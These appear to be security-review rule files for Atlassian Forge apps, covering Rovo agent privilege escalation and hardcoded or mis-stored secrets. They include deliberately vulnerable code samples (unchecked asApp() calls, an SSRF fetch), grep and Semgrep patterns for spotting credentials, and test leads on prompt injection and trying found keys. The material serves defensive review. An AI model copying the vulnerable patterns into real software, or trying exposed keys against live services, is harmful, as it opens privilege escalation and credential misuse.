description: Detect privilege escalation risks in Forge Rovo agents and actions
globs:
alwaysApply: false
---
Context
- Forge Rovo agents can execute actions with elevated privileges via `asApp()`. A known AuthZ gap (AGRC-15320) allows agents to perform actions with higher privileges than the requesting user.
- Related CWE: CWE-269 (Improper Privilege Management), CWE-862 (Missing Authorization).
- Reference: Rovo Forge A4J Risk documentation.
Scope & Signals
- Manifest: `rovo:agent` and `rovo:action` modules.
- Risk patterns:
- Actions using `asApp()` without user permission verification.
- Missing authorization checks before invoking Forge functions.
- LLM-influenced actions without validation.
- Actions on restricted content without access verification.
Rovo-Specific Concerns
- Rovo Forge Actions documentation lacks `asUser` vs `asApp` guidance (unlike regular Forge Actions).
- Convo AI should prevent unauthorized actions but gaps exist.
- Forge agents may not respect app access rules for restrictions.
- Browser context URLs consumed by agents are user-controlled.
Vulnerable Patterns
```javascript
// VULNERABLE - asApp without authorization check
export async function deleteIssueAction({ issueId }) {
const api = asApp();
// No check if user can delete this issue!
await api.requestJira(route`/rest/api/3/issue/${issueId}`, {
method: 'DELETE'
});
return { success: true };
}
// VULNERABLE - Trusting LLM-provided identifiers
export async function updateContentAction({ pageId, content }) {
const api = asApp();
// pageId comes from LLM, could reference any page
await api.requestConfluence(route`/wiki/api/v2/pages/${pageId}`, {
method: 'PUT',
body: JSON.stringify({ body: content })
});
}
// VULNERABLE - No validation of agent-provided context
export async function accessResourceAction({ resourceUrl }) {
// resourceUrl from browser context - user controlled!
const data = await fetch(resourceUrl); // SSRF risk
return processData(data);
}
```
Secure Patterns
```javascript
// SECURE - Verify user permission before asApp action
export async function deleteIssueAction({ issueId }, context) {
// First verify user has permission
const userApi = asUser();
const permissions = await userApi.requestJira(
route`/rest/api/3/mypermissions?issueId=${issueId}&permissions=DELETE_ISSUES`
);
if (!permissions.permissions.DELETE_ISSUES.havePermission) {
throw new Error('You do not have permission to delete this issue');
}
// Now safe to use asApp
const api = asApp();
await api.requestJira(route`/rest/api/3/issue/${issueId}`, {
method: 'DELETE'
});
return { success: true };
}
// SECURE - Validate and constrain LLM inputs
export async function updateContentAction({ pageId, content }, context) {
// Validate pageId format
if (!isValidPageId(pageId)) {
throw new Error('Invalid page ID');
}
// Verify user has access to this page
const userApi = asUser();
try {
await userApi.requestConfluence(route`/wiki/api/v2/pages/${pageId}`);
} catch (e) {
throw new Error('You do not have access to this page');
}
// Sanitize content from LLM
const sanitizedContent = sanitizeContent(content);
const api = asApp();
await api.requestConfluence(route`/wiki/api/v2/pages/${pageId}`, {
method: 'PUT',
body: JSON.stringify({ body: sanitizedContent })
});
}
// SECURE - Validate URLs from browser context
export async function processUrlAction({ url }, context) {
// Allowlist of acceptable URL patterns
const ALLOWED_PATTERNS = [
/^https:\/\/.*\.atlassian\.net\//,
];
if (!ALLOWED_PATTERNS.some(p => p.test(url))) {
throw new Error('Invalid URL');
}
// Process validated URL
}
```
Detection Checklist
- [ ] Identify all `rovo:agent` and `rovo:action` modules in manifest.
- [ ] Review each action function for `asApp()` usage.
- [ ] Verify authorization checks precede all `asApp()` operations.
- [ ] Check for user permission validation on sensitive actions.
- [ ] Look for LLM-provided input used without validation.
- [ ] Assess browser context URL handling.
- [ ] Verify actions respect content restrictions.
Agent-Specific Authorization Flow
```
1. User invokes agent via Convo AI
2. Agent determines action to take
3. Action receives:
- Parameters (may be LLM-influenced)
- Context (includes accountId)
4. Action MUST:
a. Validate all parameters
b. Verify user permission for operation
c. Only then use asApp() if needed
```
PoC / Test Leads
- Test action with resource IDs the user shouldn't access.
- Verify actions fail for restricted content.
- Test LLM prompt injection to manipulate action parameters.
- Check if app access rules are enforced.
- Test cross-product access via agent.
Remediation Guidance (advisory)
- Always verify user permission before `asApp()` operations in agent actions.
- Validate and sanitize all parameters, especially LLM-influenced ones.
- Use `asUser()` when user's permission level is appropriate.
- Implement allowlists for URLs and resource identifiers.
- Log all agent actions for audit trail.
- Document authorization model in agent action code.
Reporting Guidance
- Document each agent action and its authorization model.
- Highlight `asApp()` usage without preceding checks.
- Explain LLM-influenced data flows.
- Provide PoC for privilege escalation.
- Map to CWE-269, CWE-862; reference AGRC-15320.
---
description: Forge secrets and storage rules index. Auto-attached for forge-secrets-storage/**
globs:
- forge-secrets-storage/**
alwaysApply: false
---
- Scope: Secret management, credential storage, sensitive data handling, and Forge storage API usage.
- Priority: Hardcoded secrets and credential mismanagement are common findings.
Key Forge Secrets/Storage Risks
- Hardcoded credentials: Basic auth headers, API keys, tokens embedded in source code.
- Improper secret storage: Using `storage.set()` instead of `storage.setSecret()` for sensitive values.
- PAT/API/OAuth token handling: Apps manually handling tokens instead of using Forge authentication.
- Secrets in logs: Credentials or tokens written to console or log outputs.
- Forge variables misuse: Not using encrypted Forge environment variables for secrets.
Subrules
- Hardcoded Secrets → `@forge-secrets-storage/hardcoded-secrets.mdc`
<!-- - Storage API Security → `@forge-secrets-storage/storage-api-security.mdc`
- Token and Credential Handling → `@forge-secrets-storage/token-handling.mdc`
- Secrets in Logs → `@forge-secrets-storage/secrets-in-logs.mdc` -->
Detection Heuristics
- Grep for `Basic [A-Za-z0-9+/]*={1,2}` patterns in source (excluding node_modules).
- Search for `storage.set()` with keys containing 'secret', 'key', 'token', 'password', 'credential'.
- Identify PAT/Atlassian account API token usage patterns: `Authorization: Bearer` with hardcoded values.
- Look for `console.log` or logging calls that include sensitive variable names.
Secure Patterns
- Use `storage.setSecret()` and `storage.getSecret()` for all sensitive values.
- Use Forge environment variables with encryption for deployment secrets.
- Use External Auth for OAuth flows instead of manual token management.
- Implement secret redaction in all logging paths.
CWE References
- CWE-798: Use of Hard-coded Credentials
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-532: Insertion of Sensitive Information into Log File
- CWE-522: Insufficiently Protected Credentials
---
description: Detect hardcoded secrets, credentials, and API keys in Forge app source code
globs:
alwaysApply: false
---
Context
- Hardcoded credentials in source code enable unauthorized access if code is exposed. Forge apps should use `storage.setSecret()` or Forge environment variables for sensitive values.
- Related CWE: CWE-798 (Use of Hard-coded Credentials), CWE-259 (Use of Hard-coded Password).
- Reference: Internal Forge VULN Guide to Hardcoded Basic Auth.
Scope & Signals
- Secrets to detect:
- Basic auth headers: `Basic [base64]`
- Bearer tokens: `Bearer [token]`
- API keys: `api_key`, `apiKey`, `api-key` with literal values
- AWS credentials: `AKIA...`, secret access keys
- Private keys: `-----BEGIN PRIVATE KEY-----`
- OAuth secrets: `client_secret` with literal values
- Database connection strings with passwords
- Locations: Source files, config files (excluding node_modules, test fixtures).
Detection Patterns
```bash
# Basic Auth detection (refined)
grep -rlE '"Basic [A-Za-z0-9+/]*={1,2}"' --exclude-dir={node_modules,webpack} .
grep -rlE "'Basic [A-Za-z0-9+/]*={1,2}'" --exclude-dir={node_modules,webpack} .
# Bearer tokens
grep -rE 'Bearer [A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' .
# API keys (common patterns)
grep -rE '(api[_-]?key|apiKey)\s*[:=]\s*["\047][A-Za-z0-9]{20,}["\047]' .
# AWS access keys
grep -rE 'AKIA[0-9A-Z]{16}' .
```
Vulnerable Patterns
```javascript
// VULNERABLE - Hardcoded Basic auth
const headers = {
'Authorization': 'Basic dXNlcm5hbWU6cGFzc3dvcmQ='
};
// VULNERABLE - Hardcoded API key
const API_KEY = 'sk-1234567890abcdef1234567890abcdef';
const response = await fetch(url, {
headers: { 'X-API-Key': API_KEY }
});
// VULNERABLE - Hardcoded in config
const config = {
database: {
password: 'super_secret_password'
}
};
// VULNERABLE - Hardcoded OAuth secret
const clientSecret = 'abc123-client-secret-xyz789';
// VULNERABLE - Hardcoded in environment-like object
const ENV = {
STRIPE_SECRET_KEY: 'sk_live_abcdefghijklmnop'
};
```
Secure Patterns
```javascript
// SECURE - Use Forge storage for secrets
import { storage } from '@forge/api';
async function getApiKey() {
return await storage.getSecret('external-api-key');
}
// SECURE - Use Forge environment variables
// Set via: forge variables set API_KEY "value" --encrypt
const apiKey = process.env.API_KEY;
// SECURE - Use External Auth for OAuth
import { auth } from '@forge/api';
async function getExternalToken() {
const token = await auth.getExternalAuth('my-external-service');
return token.accessToken;
}
// SECURE - Retrieve at runtime, never hardcode
async function initializeClient() {
const credentials = await storage.getSecret('service-credentials');
return new ServiceClient(JSON.parse(credentials));
}
```
Detection Checklist
- [ ] Search for Base64-encoded Basic auth headers.
- [ ] Look for Bearer token patterns (JWT format).
- [ ] Find API key variable assignments with literal strings.
- [ ] Check for AWS access key patterns (AKIA...).
- [ ] Search for private key file contents.
- [ ] Review config objects for password/secret fields with values.
- [ ] Exclude test fixtures and mock data from findings.
False Positive Handling
```javascript
// FALSE POSITIVE - Placeholder in example/documentation
const API_KEY = 'YOUR_API_KEY_HERE';
const token = 'example-token-replace-me';
// FALSE POSITIVE - Test fixture
const mockAuth = 'Basic dGVzdDp0ZXN0'; // test:test
// FALSE POSITIVE - Schema/type definition
interface Config {
apiKey: string; // Not a hardcoded value
}
// TRUE POSITIVE - Real credential
const auth = 'Basic cHJvZHVjdGlvbjpyZWFsX3NlY3JldA=='; // Decodes to real secret
```
Semgrep Rules
```yaml
rules:
- id: hardcoded-basic-auth
patterns:
- pattern-regex: "Basic [A-Za-z0-9+/]{10,}={0,2}"
message: "Potential hardcoded Basic auth credential"
severity: ERROR
- id: hardcoded-api-key
patterns:
- pattern: $VAR = "..."
- metavariable-regex:
metavariable: $VAR
regex: (api[_-]?key|apiKey|API_KEY)
- pattern-not: $VAR = "YOUR_API_KEY"
- pattern-not: $VAR = ""
message: "Potential hardcoded API key"
severity: WARNING
```
PoC / Test Leads
- Decode Base64 Basic auth headers to verify they're real credentials.
- Check if hardcoded keys are valid by testing against external services.
- Verify the app works without the hardcoded secret (indicates it's used).
Remediation Guidance (advisory)
- Remove all hardcoded secrets from source code immediately.
- Rotate any exposed credentials.
- Use `storage.setSecret()` / `storage.getSecret()` for runtime secrets.
- Use Forge environment variables with `--encrypt` for deployment secrets.
- Use External Auth for OAuth integrations.
- Add secret scanning to CI/CD pipeline.
Reporting Guidance
- Provide file path and line number for each hardcoded secret.
- Indicate secret type (Basic auth, API key, etc.).
- Note if the secret appears to be real vs. placeholder.
- Assess exposure risk (public repo, marketplace app).
- Map to CWE-798; recommend immediate rotation.
fsrt
fsrt.exeRelated skills
FAQ
What does the Forge security review read first?
The manifest.yml, to extract scopes, external fetch, modules, and remotes and build an execution map before deep review.
Does it modify app code?
No. It does not modify app code unless the user explicitly requests fixes; scan outputs go to security-audit-artifacts/.